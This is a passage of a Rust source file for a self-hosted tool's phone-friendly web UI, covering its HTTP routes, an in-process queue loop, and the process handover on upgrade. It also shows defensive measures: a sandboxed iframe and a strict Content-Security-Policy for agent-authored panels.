Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # An interview is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/chats/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one chat are refused rather
68//! than queued - see [`Ui::begin_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::extract::rejection::JsonRejection;
106use axum::extract::{Path, Query, State};
107use axum::http::{HeaderValue, StatusCode, header};
108use axum::response::sse::{Event, KeepAlive, Sse};
109use axum::response::{IntoResponse, Response};
110use axum::routing::{delete, get, post};
111use jiff::Timestamp;
112use serde::{Deserialize, Serialize};
113use tokio_stream::StreamExt as _;
114use tokio_stream::wrappers::ReceiverStream;
115
116use crate::ask::{Answer, Question, Questions};
117use crate::chat::{Chat, Chats};
118use crate::config::Config;
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Source, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::{chat, daemon, report, repos, run};
124
125/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
126pub const DEFAULT_PORT: u16 = 7878;
127
128/// How often the change stream restats the queue and the runs directory.
129const POLL: Duration = Duration::from_secs(1);
130
131/// Keep-alive interval for the change stream. Phones and intermediaries drop
132/// an idle connection within a minute; a comment every fifteen seconds keeps
133/// the stream alive without waking the radio often enough to matter.
134const KEEPALIVE: Duration = Duration::from_secs(15);
135
136/// Runs returned when the client does not ask, and the ceiling if it asks for
137/// more. The cap exists because the list handler parses every `run.json` it
138/// returns, and a phone cannot render two thousand rows anyway.
139const LIST_DEFAULT: usize = 50;
140/// Upper bound for `?limit=`.
141const LIST_MAX: usize = 500;
142
143/// Width of a generated task title, matching what the CLI uses.
144const TITLE_MAX: usize = 72;
145
146/// The header that makes serving agent-authored HTML defensible, sent by both
147/// panel routes and asserted verbatim by a test.
148///
149/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
150/// denies every fetch destination that is not re-allowed below, which is all of
151/// them except images and fonts; `img-src 'self' data:` means an image comes
152/// from magi's own asset route or from the document itself, so a panel cannot
153/// signal an outside server by pointing an `<img>` at it - the classic
154/// exfiltration channel for markup that cannot run script. `style-src
155/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
156/// free formatting means here and a style sheet cannot make a request that
157/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
158/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
159/// stops a form posting the owner's decision to a third party, and
160/// `frame-ancestors 'self'` stops another site framing the panel to phish with
161/// it.
162///
163/// There is deliberately no `script-src`: `default-src 'none'` already covers
164/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
165/// denied twice over. Weakening any directive here is the difference between a
166/// panel the owner reads and a page that can talk to the tailnet, which is why
167/// the test compares the whole string rather than looking for a substring.
168const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
169                         font-src data:; base-uri 'none'; form-action 'none'; \
170                         frame-ancestors 'self'";
171
172const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
173const APP_CSS: &str = include_str!("../assets/ui/app.css");
174const APP_JS: &str = include_str!("../assets/ui/app.js");
175
176/// Which address to listen on.
177#[derive(Debug, Clone, Copy, PartialEq, Eq)]
178pub enum Bind {
179    /// Ask Tailscale, and fall back to loopback with a warning.
180    Auto,
181    /// An address the operator named.
182    Addr(IpAddr),
183}
184
185impl std::str::FromStr for Bind {
186    type Err = String;
187
188    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
189    /// the CLI can take `--bind` straight into it: the one spelling of
190    /// `auto` that matters is the one this function knows.
191    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
192        if s.eq_ignore_ascii_case("auto") {
193            return Ok(Self::Auto);
194        }
195        s.parse()
196            .map(Self::Addr)
197            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
198    }
199}
200
201impl std::fmt::Display for Bind {
202    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
203        match self {
204            Self::Auto => f.write_str("auto"),
205            Self::Addr(addr) => write!(f, "{addr}"),
206        }
207    }
208}
209
210/// How to serve.
211#[derive(Debug, Clone)]
212pub struct Opts {
213    /// Address to listen on.
214    pub bind: Bind,
215    /// Port to listen on.
216    pub port: u16,
217    /// Repository used for tasks posted without one.
218    pub repo: PathBuf,
219    /// Print the URL on its own line for a caller that wants to hand it to a
220    /// browser. magi never launches one itself.
221    pub open: bool,
222    /// Merge mode override for the loop this process runs (`none`, `local`,
223    /// `pr`); `None` leaves it to each repository's own config.
224    ///
225    /// The same override `magi serve --merge` takes, and here for the same
226    /// reason: `magi web` is now the thing that runs the loop, so an operator
227    /// who wants this session's runs to open pull requests has to be able to
228    /// say so without going back to the command they no longer type.
229    pub merge: Option<String>,
230}
231
232impl Default for Opts {
233    fn default() -> Self {
234        Self {
235            bind: Bind::Auto,
236            port: DEFAULT_PORT,
237            repo: PathBuf::from("."),
238            open: false,
239            merge: None,
240        }
241    }
242}
243
244/// Everything the handlers touch.
245///
246/// The queue, the runs directory and the magi home are fields rather than
247/// process-global lookups so a test drives the real router against a temp
248/// directory instead of the operator's own history.
249#[derive(Debug, Clone)]
250pub struct Ui {
251    queue: Queue,
252    questions: Questions,
253    chats: Chats,
254    runs: PathBuf,
255    home: PathBuf,
256    repo: PathBuf,
257    /// Chats with an agent turn in flight right now.
258    ///
259    /// In-process and therefore not durable, which is correct: it guards
260    /// against two taps on one phone and two phones on one tailnet, both of
261    /// which are this process's own concurrency. A second `magi web` would not
262    /// see it, and a second `magi web` on the same home is already a
263    /// misconfiguration the queue's claims would catch first.
264    turns: Arc<Mutex<HashSet<String>>>,
265    /// Runs this process is resuming right now.
266    ///
267    /// Separate from `turns` because a run and a chat are different things to
268    /// hold, and a resume is far more expensive to start twice: it re-asks
269    /// agent seats. Same reasoning about scope as `turns` — this guards two
270    /// taps and two phones, which is this process's own concurrency.
271    resuming: Arc<Mutex<HashSet<String>>>,
272    /// The last scan of `[repos] roots`, and when it happened. Shared across
273    /// requests so a phone opening the repository picker repeatedly does not
274    /// repeat the filesystem walk every time - see [`repos::Cache`].
275    repos_cache: repos::Cache,
276    /// Merge mode override handed to the loop this process starts.
277    merge: Option<String>,
278    /// The loop this process is running, if it is running one.
279    looping: Arc<Mutex<LoopState>>,
280    /// How a loop is actually started.
281    ///
282    /// A field rather than a direct call to [`daemon::serve_until`], because
283    /// the real loop resolves its queue and its status file through the
284    /// process-global magi home and claims whatever it finds there. A test
285    /// that started it would reach straight past its own temp directory into
286    /// the operator's live queue, overwrite the status file of the `magi
287    /// serve` that owns it, and spend real agent quota on a real competition.
288    /// What the routes have to get right is the bookkeeping, so the tests
289    /// drive the routes against a loop that only starts and stops; production
290    /// is [`launch_daemon`] and nothing reassigns it.
291    launch: Launch,
292}
293
294impl Ui {
295    /// A server over explicit paths.
296    pub fn new(
297        queue: Queue,
298        questions: Questions,
299        chats: Chats,
300        runs: PathBuf,
301        home: PathBuf,
302        repo: PathBuf,
303    ) -> Self {
304        Self {
305            queue,
306            questions,
307            chats,
308            runs,
309            home,
310            repo,
311            turns: Arc::default(),
312            resuming: Arc::default(),
313            repos_cache: repos::Cache::new(),
314            merge: None,
315            looping: Arc::default(),
316            launch: launch_daemon,
317        }
318    }
319
320    /// The operator's own state: `<home>/queue`, `<home>/questions`,
321    /// `<home>/chats`, `<home>/runs`.
322    pub fn open(repo: PathBuf) -> Self {
323        Self::new(
324            Queue::open(),
325            Questions::open(),
326            Chats::open(),
327            run::runs_root(),
328            run::home(),
329            repo,
330        )
331    }
332
333    /// The merge mode the loop should use, as the command line gave it.
334    ///
335    /// A builder step rather than a seventh parameter on [`Ui::new`], because
336    /// the override is a property of how this process was invoked and not of
337    /// where its state lives - which is all the tests that build a `Ui` by
338    /// hand are saying.
339    #[must_use]
340    pub fn with_merge(mut self, merge: Option<String>) -> Self {
341        self.merge = merge;
342        self
343    }
344
345    /// Point the loop at something other than [`launch_daemon`].
346    ///
347    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
348    /// this crate may start the real loop.
349    #[cfg(test)]
350    #[must_use]
351    fn with_launch(mut self, launch: Launch) -> Self {
352        self.launch = launch;
353        self
354    }
355
356    /// The loop's state, for [`serve`]'s own way out.
357    fn looping(&self) -> Arc<Mutex<LoopState>> {
358        Arc::clone(&self.looping)
359    }
360
361    /// Start the loop in this process, or say who already has one.
362    ///
363    /// `foreign` is passed in rather than read here so that one request makes
364    /// one judgement about who owns the loop: reading the status file again
365    /// inside this function could refuse a start for a daemon the same
366    /// response then reports as gone.
367    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
368        if let Some(other) = foreign {
369            return Err(ApiError::conflict(format!(
370                "{} is already running the loop, so this one will not start a \
371                 second: two loops on one queue race for the same claims and \
372                 burn the agent quota twice over. Stop it where it was \
373                 started.",
374                other.who()
375            )));
376        }
377        let mut state = self.lock_loop();
378        if state.live.as_ref().is_some_and(Live::alive) {
379            return Err(ApiError::conflict(format!(
380                "this magi web process (pid {}) is already running the loop",
381                std::process::id()
382            )));
383        }
384
385        let stop = daemon::Stop::new();
386        // The CLI's own defaults for everything the UI has no opinion about:
387        // one poll interval and one retry budget, so a loop started from a
388        // phone behaves exactly like the `magi serve` it replaces.
389        let opts = daemon::Opts {
390            repo: self.repo.clone(),
391            merge: self.merge.clone(),
392            ..daemon::Opts::default()
393        };
394        let launch = self.launch;
395        let looping = Arc::clone(&self.looping);
396        let handle = tokio::spawn({
397            let opts = opts.clone();
398            let stop = stop.clone();
399            async move {
400                let failure = match launch(opts, stop).await {
401                    Ok(()) => None,
402                    Err(e) => Some(format!("{e:#}")),
403                };
404                match &failure {
405                    Some(why) => tracing::error!("the loop stopped: {why}"),
406                    None => tracing::info!("the loop stopped"),
407                }
408                // Recorded by the task itself rather than reaped by whichever
409                // request happens next, so `loop_rev` moves the moment the
410                // loop ends and a phone with the change stream open learns
411                // that it did. Clearing `live` drops this task's own handle,
412                // which only detaches it, and is the last thing it does.
413                let mut state = lock_or_recover(&looping);
414                state.live = None;
415                state.last_error = failure;
416                state.rev += 1;
417            }
418        });
419        tracing::info!(
420            "the loop is now running in this process: repo {}, merge {}",
421            opts.repo.display(),
422            opts.merge.as_deref().unwrap_or("as the config says")
423        );
424        state.live = Some(Live { stop, handle, opts });
425        // A fresh start is not the place to keep showing why the last one
426        // died; the operator has read it and pressed the button anyway.
427        state.last_error = None;
428        state.rev += 1;
429        Ok(())
430    }
431
432    /// Ask the loop to stop, without waiting for it to get there.
433    ///
434    /// Idempotent: a second tap on stop is not an error, because the first one
435    /// leaves the loop running for as long as the run in flight takes and the
436    /// operator has no way to tell a slow stop from a lost one.
437    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
438        if let Some(other) = foreign {
439            return Err(ApiError::conflict(format!(
440                "the loop belongs to {}, and this process cannot stop it - \
441                 stop it where it was started. A button that silently did \
442                 nothing would be worse than this refusal.",
443                other.who()
444            )));
445        }
446        let mut state = self.lock_loop();
447        let Some(live) = state.live.as_ref() else {
448            return Ok(());
449        };
450        // A park upgrades a stop that has already been asked for: the
451        // operator who tapped "stop" and then realised the run has an hour
452        // left must not have to restart the loop to change their mind.
453        if live.stop.stopped() && (!park || live.stop.parking()) {
454            return Ok(());
455        }
456        if park {
457            live.stop.park();
458            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
459        } else {
460            live.stop.stop();
461            tracing::info!("the loop was asked to stop; a run in flight is finished first");
462        }
463        state.rev += 1;
464        Ok(())
465    }
466
467    /// The loop as both `/api/loop` and `/api/health` report it.
468    ///
469    /// `reading` is the caller's single read of `<home>/daemon.json`, because
470    /// health answers with this view *and* the daemon object beside it: one
471    /// read per response is what stops a single answer naming a foreign owner
472    /// in one field and calling the loop free in the other.
473    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
474        let state = self.lock_loop();
475        // A loop that panicked never recorded its own end, so the handle -
476        // not the presence of the record - is what "running" means.
477        let live = state.live.as_ref().filter(|live| live.alive());
478        LoopView {
479            running: live.is_some(),
480            stopping: live.is_some_and(|live| live.stop.finishing()),
481            parking: live.is_some_and(|live| live.stop.parking()),
482            owned: live.is_some(),
483            repo: live
484                .map_or(&self.repo, |live| &live.opts.repo)
485                .display()
486                .to_string(),
487            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
488            last_error: state.last_error.clone(),
489            daemon: DaemonView::of(reading),
490        }
491    }
492
493    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
494    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
495        lock_or_recover(&self.looping)
496    }
497
498    /// Claim the right to run one turn in a chat, or refuse.
499    ///
500    /// An interview is strictly turn-based: the interviewing agent is resumed
501    /// with the conversation it already has, so two turns running at once would
502    /// resume the same session twice and append their answers in whatever order
503    /// the two CLIs finished in. The operator would come back to a transcript
504    /// with two half-turns interleaved, which is unreadable and, worse,
505    /// unfixable - there is no undo for a persisted turn.
506    ///
507    /// Refusing with a conflict rather than queueing behind the first turn is
508    /// the deliberate half. A turn takes tens of seconds, so a phone on a slow
509    /// link is exactly the case where the operator taps send twice; queueing
510    /// would answer the second tap with a second agent turn on text they only
511    /// meant to send once, and would do it a minute later when they have
512    /// stopped looking. An immediate 409 is a thing the front end can act on.
513    ///
514    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
515    /// taken to test-and-insert and released before the agent is spawned. The
516    /// returned guard removes the id on drop, which is what makes a panicking
517    /// handler or a phone that walks out of range leave the chat usable - axum
518    /// drops the handler future when the client disconnects, and without the
519    /// guard that chat would be wedged until the server restarted.
520    fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
521        let mut live = self
522            .turns
523            .lock()
524            .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
525        if !live.insert(id.to_owned()) {
526            return Err(ApiError::conflict(format!(
527                "chat {id} is already taking a turn"
528            )));
529        }
530        Ok(TurnGuard {
531            chat: id.to_owned(),
532            turns: Arc::clone(&self.turns),
533        })
534    }
535
536    /// Park the loop for an upgrade, and report the run that is parking.
537    ///
538    /// A park rather than a stop: a stop waits out the whole competition, and
539    /// not waiting is the point of upgrading from a phone. `None` means
540    /// nothing was in flight, which is worth saying so the operator is not
541    /// told a run is parking when none is.
542    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
543        let parking = {
544            let mut state = self.lock_loop();
545            let Some(live) = state.live.as_ref() else {
546                return Ok(None);
547            };
548            let busy = live.stop.busy_now();
549            live.stop.park();
550            state.rev += 1;
551            busy
552        };
553        Ok(if parking {
554            daemon::current_work(&self.home, jiff::Timestamp::now()).map(|c| c.run)
555        } else {
556            None
557        })
558    }
559
560    /// Claim a run for a resume, on the same reasoning as [`Ui::begin_turn`]:
561    /// a guard that releases on drop, so a disconnected phone does not wedge
562    /// the run until the server restarts.
563    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
564        let mut live = self
565            .resuming
566            .lock()
567            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
568        if !live.insert(id.to_owned()) {
569            return Err(ApiError::conflict(format!(
570                "run {id} is already being resumed"
571            )));
572        }
573        Ok(ResumeGuard {
574            run: id.to_owned(),
575            resuming: Arc::clone(&self.resuming),
576        })
577    }
578
579    /// The router, with this state baked in.
580    ///
581    /// The three front-end files get one explicit route each rather than a
582    /// path parameter, so there is no traversal surface to get wrong: the set
583    /// of servable paths is the set written here. The asset route below is the
584    /// one exception and the only place in this server where a client names a
585    /// file; it is why [`valid_asset_name`] is checked before a path is built.
586    pub fn router(self) -> Router {
587        Router::new()
588            .route("/", get(index))
589            .route("/app.css", get(app_css))
590            .route("/app.js", get(app_js))
591            .route("/api/health", get(health))
592            .route("/api/loop", get(loop_get).post(loop_post))
593            .route("/api/upgrade", post(upgrade_post))
594            .route("/api/runs", get(runs_list))
595            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
596            .route("/api/runs/{id}/report", get(run_report))
597            .route("/api/runs/{id}/fold", post(run_fold))
598            .route("/api/runs/{id}/resume", post(run_resume))
599            .route("/api/queue", get(queue_list).post(queue_post))
600            .route("/api/queue/{id}", delete(queue_delete))
601            .route("/api/repos", get(repos_list))
602            .route("/api/queue/{id}/hold", post(queue_hold))
603            .route("/api/queue/{id}/release", post(queue_release))
604            .route("/api/questions", get(questions_list))
605            .route("/api/questions/{id}/answer", post(question_answer))
606            .route("/api/questions/{id}/panel", get(question_panel))
607            // The same asset, reachable from inside the panel by its bare
608            // filename. A document served at `.../panel` resolves `shot.png`
609            // to `.../shot.png`, which is not the asset route, so a panel
610            // written the way its author was told to write it showed broken
611            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
612            // it - deliberately - so the fix is that the panel's own URL ends
613            // in a filename and its siblings are the assets.
614            .route("/api/questions/{id}/panel/index.html", get(question_panel))
615            .route("/api/questions/{id}/panel/{name}", get(question_asset))
616            .route("/api/questions/{id}/asset/{name}", get(question_asset))
617            .route("/api/chats", get(chats_list).post(chat_post))
618            .route("/api/chats/{id}", get(chat_detail))
619            .route("/api/chats/{id}/say", post(chat_say))
620            .route("/api/chats/{id}/file", post(chat_file))
621            .route("/api/events", get(events))
622            .with_state(Arc::new(self))
623    }
624}
625
626/// One chat's turn slot, released on drop.
627///
628/// A guard rather than a matching `remove` at the end of the handler, because
629/// the handler has several early returns and one `await` that can be cancelled
630/// out from under it. A leaked id is a chat nobody can talk to again.
631#[derive(Debug)]
632struct TurnGuard {
633    chat: String,
634    turns: Arc<Mutex<HashSet<String>>>,
635}
636
637impl Drop for TurnGuard {
638    fn drop(&mut self) {
639        if let Ok(mut live) = self.turns.lock() {
640            live.remove(&self.chat);
641        }
642    }
643}
644
645/// Releases a resume claim, so a run is resumable again after the attempt.
646struct ResumeGuard {
647    run: String,
648    resuming: Arc<Mutex<HashSet<String>>>,
649}
650
651impl Drop for ResumeGuard {
652    fn drop(&mut self) {
653        if let Ok(mut live) = self.resuming.lock() {
654            live.remove(&self.run);
655        }
656    }
657}
658
659/// Bind the port, waiting briefly for a predecessor to let go of it.
660///
661/// A restart hands the address from one process to the next, and the old one
662/// holds its listener until it unwinds. A single `bind` can lose that race,
663/// and for a restart triggered from a phone that means the deck never comes
664/// back with no terminal around to say why.
665///
666/// Bounded, and only for the one error a wait can fix: anything else fails at
667/// once, because retrying it would turn a clear message into a silence.
668async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
669    const WINDOW: Duration = Duration::from_secs(10);
670    const GAP: Duration = Duration::from_millis(250);
671
672    let deadline = std::time::Instant::now() + WINDOW;
673    let mut said = false;
674    loop {
675        match tokio::net::TcpListener::bind(socket).await {
676            Ok(listener) => return Ok(listener),
677            Err(e)
678                if e.kind() == std::io::ErrorKind::AddrInUse
679                    && std::time::Instant::now() < deadline =>
680            {
681                if !said {
682                    said = true;
683                    tracing::info!(
684                        "{socket} is still held - waiting up to {}s for it, \
685                         which is what a restart looks like from here",
686                        WINDOW.as_secs()
687                    );
688                }
689                tokio::time::sleep(GAP).await;
690            }
691            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
692        }
693    }
694}
695
696/// Signalled when an upgrade has replaced the binary and the successor should
697/// take this address over. One per process: there is one address to hand on.
698static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
699
700/// Start this binary again with the same arguments, detached.
701///
702/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
703/// so the address is already free when the successor binds it. The first
704/// attempt at this spawned the successor two hundred milliseconds before
705/// exiting instead, and the released binary - which has no bind retry - died
706/// on "address already in use" with its stdio sent to null, so the deck
707/// simply never came back.
708///
709/// Detached and without inherited stdio: the successor has to outlive this
710/// process, and must not hold open a pipe a terminal is waiting on.
711fn spawn_successor() -> Result<()> {
712    let exe = std::env::current_exe().context("find this binary")?;
713    let args: Vec<String> = std::env::args().skip(1).collect();
714    tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
715
716    let mut cmd = std::process::Command::new(&exe);
717    cmd.args(&args)
718        .stdin(std::process::Stdio::null())
719        .stdout(std::process::Stdio::null())
720        .stderr(std::process::Stdio::null());
721    #[cfg(windows)]
722    {
723        use std::os::windows::process::CommandExt as _;
724        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
725        // and Ctrl-C in the old terminal must not reach the successor.
726        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
727    }
728    cmd.spawn().context("start the successor")?;
729    Ok(())
730}
731
732/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
733///
734/// The server itself owns no state, so nothing here is graceful for the HTTP
735/// side's sake: the connections go with the dropped listener, which costs a
736/// phone one change-stream reconnection it was going to make anyway.
737///
738/// The signal branch is not optional now that the loop lives in this process.
739/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
740/// handler is what stops the signal terminating the process - so without a
741/// branch of our own, the first Ctrl-C after the operator started the loop
742/// would stop the loop and leave `magi web` listening forever, unkillable
743/// from the terminal it was started in.
744///
745/// What it waits for is the loop, not the sockets. A run in flight is
746/// finished first, for the reason [`daemon::serve`] gives: killing the graph
747/// mid-node leaves worktrees, branches and agent sessions behind and throws
748/// away every agent call already paid for.
749///
750/// The server therefore runs on a task of its own rather than inside the
751/// `select!`: an arm that resolves *drops* the futures the other arms were
752/// polling, so serving the address from inside one would take the deck down
753/// at the instant the handover began and keep it down for the whole park -
754/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
755/// owns the order.
756pub async fn serve(opts: Opts) -> Result<()> {
757    let (addr, warning) = resolve_bind(&opts.bind);
758    if let Some(warning) = warning {
759        tracing::warn!("{warning}");
760    }
761
762    // Process-global, and therefore set exactly once, here: the report route
763    // must never emit escape sequences into a browser, and toggling the flag
764    // per request would race with a concurrent request rendering its own
765    // report. Startup is the only moment at which no request can observe the
766    // change. Nothing in the server turns colour back on.
767    report::set_color(false);
768
769    let ui = Ui::open(opts.repo).with_merge(opts.merge);
770    let looping = ui.looping();
771    let socket = SocketAddr::new(addr, opts.port);
772    let listener = bind_waiting(socket).await?;
773    let url = format!("http://{addr}:{}", opts.port);
774    tracing::info!(
775        "magi web UI on {url} - there is no authentication, so anyone who can \
776         reach this address can file and hold tasks: the tailnet is the \
777         security boundary"
778    );
779    tracing::info!(
780        "the queue loop is not running yet - start it from the UI, which is \
781         the whole reason this process can: nothing in the queue moves until \
782         something is running the loop"
783    );
784    if opts.open {
785        // The URL alone on stdout, for a caller that wants to open it. magi
786        // does not spawn a browser: on the machine this usually runs on there
787        // is no display, and a failed launch would be the only output.
788        println!("{url}");
789    }
790
791    // On its own task, so nothing this function awaits can stop the address
792    // being answered. `hand_over` is where it is given up.
793    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
794    let interrupted = async {
795        if tokio::signal::ctrl_c().await.is_err() {
796            // No handler on this platform, so there is no signal to act on.
797            // Never resolving is the safe answer: a failed registration must
798            // not masquerade as the operator asking for a shutdown and take
799            // the UI down on startup.
800            std::future::pending::<()>().await;
801        }
802    };
803    let handover = HANDOVER.notified();
804    tokio::select! {
805        joined = &mut served => match joined {
806            Ok(outcome) => outcome.context("serve the web UI"),
807            Err(e) => Err(e).context("the task serving the web UI ended"),
808        },
809        () = interrupted => {
810            tracing::info!("shutting down the web UI");
811            finish_loop(&looping).await;
812            Ok(())
813        }
814        () = handover => {
815            tracing::info!("upgraded - handing this address to the successor");
816            hand_over(&looping, served, spawn_successor).await
817        }
818    }
819}
820
821/// Park the loop, then release the address, then start the successor.
822///
823/// The order is the whole function, and each step is answerable to a failure
824/// this arrangement has already had:
825///
826/// 1. **Park.** The loop was asked to stop by the request that replaced the
827///    binary, and this waits for it, because killing the graph mid-node
828///    leaves worktrees, branches and agent sessions behind and throws away
829///    every agent call already paid for. It takes as long as the node in
830///    flight - up to `timeout_implement`, an hour by default - and the deck
831///    goes on answering for all of it, which is the reason `served` is a task
832///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
833///    first upgrade from a phone that caught a run mid-implement dropped the
834///    listener the moment it was asked to, and the operator got
835///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
836///    waiting on and nothing but a process list to say the run was alive.
837/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
838///    the join resolves only once the task's future has been dropped, so the
839///    address is unbound before the next line rather than merely on its way
840///    there.
841/// 3. **Start the successor**, which binds the address this process has just
842///    let go of - see [`spawn_successor`] for what the other order cost.
843async fn hand_over(
844    looping: &Mutex<LoopState>,
845    served: tokio::task::JoinHandle<std::io::Result<()>>,
846    successor: impl FnOnce() -> Result<()>,
847) -> Result<()> {
848    finish_loop(looping).await;
849    served.abort();
850    let _ = served.await;
851    successor()
852}
853
854/// Ask the loop to stop and wait for it, on the way out of [`serve`].
855///
856/// The wait is the whole function. Returning from `serve` while a graph is
857/// mid-node ends the process with worktrees, branches and agent sessions left
858/// behind and every agent call in that run paid for and thrown away, which is
859/// exactly what the daemon's own shutdown refuses to do.
860async fn finish_loop(state: &Mutex<LoopState>) {
861    let live = lock_or_recover(state).live.take();
862    let Some(live) = live else { return };
863    live.stop.stop();
864    lock_or_recover(state).rev += 1;
865    tracing::info!("waiting for the loop to finish the run in flight");
866    // The task records its own outcome and logs it, so there is nothing to do
867    // with a join error here but stop waiting.
868    let _ = live.handle.await;
869}
870
871/// Resolve `--bind` to an address, plus a warning when the answer is not what
872/// the operator asked for.
873///
874/// Split out from [`serve`] because the interesting half - deciding whether
875/// Tailscale gave us something usable - is testable without opening a socket.
876pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
877    match bind {
878        Bind::Addr(addr) => (*addr, None),
879        Bind::Auto => match tailscale_ip() {
880            Ok(ip) => (IpAddr::V4(ip), None),
881            Err(why) => (
882                IpAddr::V4(Ipv4Addr::LOCALHOST),
883                Some(format!(
